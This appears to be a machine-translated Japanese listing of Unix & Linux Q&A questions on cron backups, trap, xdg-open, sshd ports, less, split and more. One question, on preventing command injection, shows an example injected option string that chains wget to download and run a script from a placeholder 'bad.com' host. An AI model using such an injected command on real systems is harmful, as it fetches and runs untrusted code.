Unix & Linux

Linux、FreeBSDおよび他のUn * xのようなオペレーティングシステムのユーザーのためのQ&A

4
バックアップスクリプトのメールを送信するcronを停止しますか?
Minecraftサーバー上の世界データをcronを使用して1時間ごとにバックアップするバックアップスクリプトを設定しましたが、世界はプレイヤーによって絶えず編集されているため、tarは読み取り中にファイルが変更されたことを教えてくれました。スクリプトのtarに--ignore-command-errorを追加し、手動で実行するとエラーが表示されないようにしましたが、cronは読み取り中にファイルが変更されたことを知らせるメールメッセージを送信します。 1時間に1回実行します。誰でもこれを修正する方法を知っていますか?これはスクリプトです: filename=$(date +%Y-%m-%d) cd /home/minecraft/Server/ for world in survival survival_nether survival_the_end creative superflat do if [ ! -d "/home/minecraft/backups/$world" ]; then mkdir /home/minecraft/backups/$world fi find /home/minecraft/backups/$world -mtime +1 -delete tar --ignore-command-error -c $world/ | nice -n 10 pigz -9 > /home/minecraft/backups/$world/$filename.tar.gz done
13 cron  email  backup 

3
コマンドオプションを使用してコマンドインジェクションを防ぐ方法
シミュレーターに渡すカスタムオプションをユーザーが指定できるようにする必要があるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを使用して他のコマンドを挿入しないようにします。これを達成する最良の方法は何ですか? 例えば。 ユーザーが提供するもの: -a -b アプリケーションの実行: mysim --preset_opt -a -b しかし、私はこれが起こることを望まない: ユーザーが提供するもの: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh アプリケーションの実行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 現在、ユーザーが提供したすべてのオプションを単一引用符で囲み、ユーザーが提供した単一引用符'を取り除くだけで、最後の例のコマンドが無害になることができると考えています: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注:mysimコマンドは、docker / lxcコンテナー内のシェルスクリプトの一部として実行されます。Ubuntuを実行しています。


2
「Ungrep」-一致しないパターン
次のことを行うコマンドまたはスクリプトを探しています-指定: file1.txt: abcd efgh ijkl mnop file2.txt: 123abcd123 123efgh123 123mnop123 私はこのようなことをするコマンドが欲しいです: ungrep file1.txt file2.txt 次を返します。 ijkl 言い換えれば、file2.txtのgrepで結果を返さないfile1.txtの行を提供しています。file1.txtを反復処理し、各行のfile2.txtをgrepして結果を保存し、結果が空の行を出力することでこれを実行できることを知っていますが、これを行うためのより効率的な方法を期待していました。
13 grep 

2
Trapコマンドを使用してエラーをトリガーする方法
Ubuntu 12.04.2を使用しています。「トラップ」コマンドを使用してシェルスクリプトの異常またはエラーをキャプチャしようとしていますが、「エラー」終了を手動でトリガーしようとしています。 exit 1を試しましたが、「エラー」信号はトリガーされません。 #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func 「エラー」終了信号を手動でトリガーする方法がわからない場合

7
Linux用のステレオ「トーンジェネレータ」?
Linux用のステレオ(左右の独立したチャンネル)トーンジェネレーターのようなものはありますか?各チャンネルの音量とトーン/ピッチを設定し、できれば波形(正弦波、方形波、のこぎり波など)を設定し、1つのチャンネルを反転できます(他のチャンネルとは対照的に)。 そうでない場合、良い場所を作るためのアイデアはありますか?シンセのような既存のプログラムを適応させるのが最も簡単だと思います...しかし、それがうまく機能しない場合、そのようなプログラムのベースとして使用できるライブラリ(SDLなど)はありますか?
13 audio  libraries 

1
途中で中断されたRPMトランザクションはどうなりますか?
RPMパッケージA、B、Cでインストールしていると想像してください。これらは同じ順序でインストールされます。そして、Bのインストール中に突然電源が切れました。 1)電源投入後の状態に関して:このトランザクションはどうなりますか?再開されますか?それとも、RPMはそのトランザクションからすべてのパッケージとファイルを削除するのでしょうか? 2)ユーザーアクションに関して:RPMは上記のことを行うためにユーザーアクションを必要としますか、またはコンピューターの起動時に自動的にチェックしますか? RPMトランザクションは、主に依存関係エラーまたはコンピューターがまだ実行中のエラーの観点から説明されています
13 linux  rpm 

1
xdg-openのデフォルトのアプリケーションの動作
私は何を持っていない場合defaults.listやmimeapps.list、xdg-open開くtext/plainとgvim。しかし、次の行を作成defaults.listし/usr/share/applications/て追加すると: [Default Applications] text/plain=emacs.desktop firefoxでテキストファイルを開きます。 ただし、に移動/usr/share/applications/defaults.listする~/.local/share/applications/mimeapps.listとemacs、期待どおりにテキストファイルが開きます。 私の質問: およびxdg-openがない場合、どのアプリケーションを起動するかをどのように決定しますか?defaults.listmimeapps.list xdg-open単純に書くときにfirefoxを使用するのはなぜ/usr/share/applications/defaults.listですか? Arch Linuxを使用しています。

2
WLANインターフェイスの速度を見つける方法
ファイル記述子を使用してネットワークインターフェイスの速度を見つけようとしています。をethX呼び出すのは簡単cat /sys/class/net/eth0/speedです。残念ながら、この方法はワイヤレスインターフェイスでは機能しません。呼び出す/sys/class/net/wlan0/speedとエラーが発生します:引数が無効です。 だから、あなた/sys/class/net/eth0/speedはWLANインターフェースのようなアナログを知っていますか?

1
実行可能ファイルに「そのようなファイルまたはディレクトリはありません」が、ファイルが存在し、lddが存在するすべてのライブラリを報告する
したがって、他のコマンドによって実行可能ファイルが存在しますが、実行しようとすると、実行可能ファイルは存在しないと主張します。 名前の特殊文字ではありません。「猫」という名前に変更しました。そして、それは正しいアーキテクチャのバイナリのようです...「どうやら」、質問は、他にtatエラーメッセージBESIDESがスローされるものだと思います。 ldd xls linux-gate.so.1 => (0xb77bc000) libQtGui.so.4 => /usr/lib/i386-linux-gnu/libQtGui.so.4 (0xb6cc2000) libpng12.so.0 => /lib/i386-linux-gnu/libpng12.so.0 (0xb6c98000) libSM.so.6 => /usr/lib/i386-linux-gnu/libSM.so.6 (0xb6c8f000) libICE.so.6 => /usr/lib/i386-linux-gnu/libICE.so.6 (0xb6c76000) libXrender.so.1 => /usr/lib/i386-linux-gnu/libXrender.so.1 (0xb6c6d000) libfreetype.so.6 => /usr/lib/i386-linux-gnu/libfreetype.so.6 (0xb6bd1000) libfontconfig.so.1 => /usr/lib/i386-linux-gnu/libfontconfig.so.1 (0xb6b9b000) libXext.so.6 => /usr/lib/i386-linux-gnu/libXext.so.6 (0xb6b88000) libX11.so.6 => /usr/lib/i386-linux-gnu/libX11.so.6 (0xb6a50000) libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xb6a2a000) libQtSql.so.4 => /usr/lib/i386-linux-gnu/libQtSql.so.4 …
13 linux  executable 

3
特定のユーザーのみが1つのポートでsshを介してログインし、他のユーザーが別のポートを介してログインできるようにする
次の使用例があります。 ユーザーが安全で信頼できるネットワークからログインできるようにする必要がある そして、2人(2人のみ)のモバイルユーザーがLinux Centosマシンにリモートでログインできるようにします。 sshdを異なるポートで実行できます。例: 内部からは、他のポートに接続させたくないので、22で実行してもかまいません(スクリプトを台無しにします)。 外部のモバイルユーザーの場合、別のポート、たとえばポートXでsshdを実行します(セキュリティの強化-これは小規模オフィスのセットアップです)。 セキュリティを強化するために、ポートXの特定のユーザーのみにアクセスを許可するようにsshdを構成したいと考えていました(そして、ユーザーがポートXからログインしていることを知ることができるようにアラートを構成します)。 ただし、sshdのドキュメントでこのような構成を見つけることができません。このような解決策がない場合、誰かがポートXでsshdログインを完了するたびに実行するシェルスクリプトをトリガーすることは少なくとも可能ですか?私はiptablesのドキュメントを見て、sshdログインがあるときにアラートをトリガーできるかどうかを確認していましたが、何も考えられませんでした。 入力を歓迎
13 centos  sshd 

1
ファイル全体を1つの画面に表示できる場合、stdoutへの印刷を減らす
ときはmore、その内容が1つの画面に表示できるファイルが渡され、それだけで改ページせずに標準出力にファイルの内容を書き込みます。ファイルが1つの画面に収まらない場合は、moreページ付けします。 less作業しているファイルを1つの画面に表示できる場合に終了するオプションがあり(-F)more、-Fフラグと同様に動作する-emulation機能がありますが、これらのオプションはどちらもlessファイルの内容を書き込まないようです内容が1つの画面に収まる場合は標準出力に。 どのように私は得ることができless、ファイルの内容場合は標準出力にファイルの内容を書くために1つの画面に収まると、それは通常、そうでない場合と同じようにファイルをページ分割することができますか?
13 less  more 

3
ファイルを複数の小さなファイルに分割し、改行記号で区切ります
ファイルを改行記号で分割するユーティリティはありますか?たとえば、ファイルに次の行が含まれている場合、 aa bbb cccc 3つのファイルに分割する場合、目的の出力は次のようになります。 aa、bbbおよびcccc(3つの異なるファイルで) 私はすでにsplitコマンドをチェックしました、それはファイルサイズでファイルをカットするだけで、私が望むものではありません。 自分でユーティリティを書いていない場合、使用する標準ツールはありますか?

8
xdg-openを使用して、新しいプロセスでURLを開きます
私はCrunchbang(Debianに基づいており、terminatorを使用しています)をWeb開発環境として実験し始めていxdg-openます。私が苦労していることの1つはの動作です。私はOSXのバックグラウンドを持っているので、この質問が密集したとしても許してくれます。 でURLを開き、xdg-open http://www.google.com引き続き同じ端末ウィンドウを使用して作業できるようにしたいと思います(openOSXでの機能です)。現時点でxdg-openは、ブラウザウィンドウを閉じるか、で手動で終了するまで、使用すると現在のタブ/セッションが占有されますctrl + c。新しいプロセスを開始して、URLを開き、ページ上のデータを参照し、追加のタブ/ウィンドウで同じタブ/ウィンドウで使用できるようにすることを望んでいます。


弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.